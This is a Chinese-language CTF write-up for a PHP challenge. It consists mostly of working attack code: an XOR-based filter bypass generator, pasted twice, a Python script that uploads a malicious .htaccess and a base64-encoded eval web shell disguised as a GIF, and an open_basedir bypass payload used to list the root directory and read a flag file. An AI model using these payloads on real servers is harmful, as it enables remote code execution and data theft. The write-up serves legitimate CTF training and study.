Php的经典特性“Use of undefined constant”,会将代码中没有引号的字符都自动作为字符串,7.2开始提出要被废弃,不过目前还存在着。
Ascii码大于 0x7F 的字符都会被当作字符串,而和 0xFF 异或相当于取反,可以绕过被过滤的取反符号。
<?php
$l = "";
$r = "";
$argv = str_split("_GET"); ##将_GET分割成一个数组,一位存一个值
for($i=0;$i<count($argv);$i++){
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255); ##进行异或
if($k == $argv[$i]){
if($j<16){ ##如果小于16就代表只需一位即可表示,但是url要求是2位所以补个0
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
}
}}
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++){
for($j=0;$j<255;$j++){
$k = chr($j)^chr(255);
if($k==$argv[$i]){
if($j<16){
$l .="%ff";
$r .="%0".dechex($j);
continue;
}
$l .= "%ff";
$r .= "%".dechex($j);
}
}
}
echo $l;
echo "<br/>";
echo $r;
%ff%ff%ff%ff
%a0%b8%ba%ab
不能含有<? : 一般是使用 但这里php版本不支持使用 我们就直接 base64编码来进行绕过了
在这里直接使用上传脚本了:
import requests
import base64
htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>")
url = "http://dfcea339-b6d8-4b48-99ac-9bfaecda5527.node4.buuoj.cn:81//?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"
files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)
files = {'file':('shell.ahhh',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
open_basedir的限制disable_function限制
首先需要构造一个相对可上跳的open_basedir
mkdir('sky');
chdir('sky');
ini_set('open_basedir','..');
这也是为什么要先创文件夹的原因,就是为了在当前目录构造可以…的ini_set
然后每次目录操作
chdir('..');
都会进行一次open_basedir的比对,即php_check_open_basedir_ex。由于相对路径的问题,每次open_basedir的补全都会上跳。
比如初试open_basedir为/a/b/c/d
第一次chdir后变为/a/b/c,
第二次chdir后变为/a/b,
第三次chdir后变为/a,
第四次chdir后变为/,
那么这时候再进行ini_set,调整open_basedir为/即可通过php_check_open_basedir_ex的校验,成功覆盖,导致我们可以bypass open_basedir。
1
chdir('xxx');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
2
?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));
?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));